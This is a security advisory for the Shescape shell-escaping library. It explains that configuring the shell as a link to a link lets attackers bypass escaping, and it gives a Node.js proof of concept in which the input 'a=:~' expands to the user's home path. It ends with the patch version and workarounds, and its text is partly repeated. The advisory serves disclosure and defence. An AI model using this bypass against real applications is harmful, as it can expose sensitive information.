Impact
This impacts users of Shescape that configure their shell to point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.
In particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):
import fs from "node:fs";
import { exec } from "node:child_process";
import { Shescape } from "shescape";
import which from "which";
/* 1. Set up */
const shell = which.sync("bash");
const linkToShell = "./csh";
const linkToLink = "./link";
fs.rmSync(linkToLink, { force: true });
fs.rmSync(linkToShell, { force: true });
fs.symlinkSync(shell, linkToShell);
fs.symlinkSync(linkToShell, linkToLink);
/* 2. Misconfiguration */
const execOptions = {
shell: linkToLink,
};
const shescape = new Shescape({
shell: execOptions.shell,
});
/* 3. Payload */
const userInput = "a=:~";
/* 4. Attack example */
exec(
`echo Hello ${shescape.escape(userInput)}`,
{ shell: execOptions.shell },
(error, stdout) => {
fs.rmSync(linkToLink);
fs.rmSync(linkToShell);
if (error) {
console.error(`An error occurred: ${error}`);
} else {
console.log(stdout);
// Output: "Hello a=:/home/user"
}
},
);Patches
This problem has been patched in v2.1.9 which you can upgrade to now.
Workarounds
If upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.
References
For more information
Impact
This impacts users of Shescape that configure their
shellto point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.In particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):
Patches
This problem has been patched in v2.1.9 which you can upgrade to now.
Workarounds
If upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.
References
For more information